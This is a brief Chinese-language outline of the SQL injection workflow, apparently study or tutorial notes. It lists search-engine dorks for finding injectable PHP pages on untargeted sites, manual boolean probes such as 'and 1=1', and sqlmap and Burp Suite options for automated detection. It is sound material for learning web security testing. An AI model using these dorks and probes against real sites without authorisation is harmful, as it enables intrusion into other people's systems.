SQL注入流程
寻找SQL注入点
目标搜集:
- 无特定目标: inurl:php?id=
- 有特定目标: inurl:php?id= site:target.com
- 工具爬取:spider,对搜索引擎和目标网站的链接进行爬取
注入识别
手工简单识别:
and 1=1
and 1=2
and '1'='1
and '1'='2
and 1 like 1
and 1 like 2
工具识别:
sqlmap -m filename (filename中保存检测目标)
sqlmap --crawl (sqlmap对目标网站进行爬取,然后依次进行测试)
高级识别:
- 扩展识别广度与深度
sqlmap --level 增加测试级别(1-5级),对header中相关参数也进行测试
sqlmap -r filename (filename中为网站请求数据)
- 利用工具提高识别效率
burpsuite+sqlmap
Burpsuite拦截所有浏览器访问提交的数据
burpsuite扩展插件,直接调用